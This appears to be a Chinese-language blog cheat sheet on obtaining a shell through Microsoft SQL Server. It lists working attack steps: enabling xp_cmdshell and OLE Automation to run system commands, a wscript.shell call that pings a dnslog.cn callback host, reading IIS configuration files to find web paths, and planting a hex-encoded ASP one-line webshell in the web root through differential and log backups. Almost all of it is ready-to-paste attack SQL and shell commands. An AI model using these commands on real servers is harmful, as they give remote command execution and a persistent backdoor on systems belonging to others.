SQL server getshell

一、sql server版本说明

05以下系统权限为system
08以上系统权限就不是system了,看到好几种,比较多的是network service

二、Sql Server危险的存储过程

这里使用sqlmap --os-shell命令也行

1、开启xp_cmdshell存储过程

EXEC sp_configure ‘show advanced options‘, 1; RECONFIGURE; exec SP_CONFIGURE ‘xp_cmdshell‘, 1; RECONFIGURE;

2、xp_cmdshell执行系统命令

exec xp_cmdshell "whoami";v

三、Sql Server Com组件

SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。

1、SP_OACREATE

查看SP_OACRAEATE状态
利用count(*)判断是否存在,存在即返回1

select count(*) from master.dbo.sysobjects where xtype=‘x‘ and name=‘SP_OACREATE‘

2、启用SP_OACREATE

利用sp_configure存储过程,启用SP_OACREATE  
exec sp_configure ‘show advanced options‘, 1; RECONFIGURE WITH OVERRIDE;   
exec sp_configure ‘Ole Automation Procedures‘, 1; RECONFIGURE WITH OVERRIDE;

3、利用SP_OACREATE执行系统命令

Declare @runshell INT Exec SP_OACreate ‘wscript.shell‘,@runshell out Exec SP_OAMeTHOD @runshell,‘run‘,null,‘ping who.xxxx.dnslog.cn‘;
declare @shell int exec sp_oacreate ‘wscript.shell‘,@shell output exec sp_oamethod @shell,‘run‘,null,‘C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt‘

四、通过差异备份写入一句话木马

1、判断站库分离

用1=(select is_srvrolemember(‘sysadmin‘))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。

2、寻找绝对路径

a、404报错页面

404报错页面查看绝对路径

b、配置文件
通过type读取配置文件
C:\Windows\system32\inetsrv\metabase.xml        #iis6
C:\Windows\System32\inetsrv\config\applicationHost.config       #iis7
c、cmd命令搜索文件
for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)
d、找旁站路径
旁站有没有地方可以爆出绝对路径,写入旁站 
e、xp_dirtree
xp_dirtree ‘c:\‘, 1, 1      #列出当前目录下所有的文件和文件夹  

3、执行如下代码

backup database 当前数据库名 to disk = ‘c:\ddd.bak‘;--  

create table cmd (a image);
insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);--  
[code]0x3C25657865637574652872657175657374282261222929253E [code]就是一句话木马的内容:<%execute(request("a"))%>  
backup database 当前数据库名 to disk=‘目标位置\d.asp‘ WITH DIFFERENTIAL,FORMAT;--

五、log备份写入shell

alter database testdb set RECOVERY FULL 
backup database testdb to disk = ‘c:\bak.bak‘
create table cmd (a image) 
backup log testdb to disk = ‘c:\aaa.bak‘ with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log testdb to disk = ‘C:\inetpub\wwwroot\shell.asp‘

SQL server getshell

上一篇:docker部署php8.0 nginx1.18 mysql5.7 dnmp环境


下一篇:mysql 事务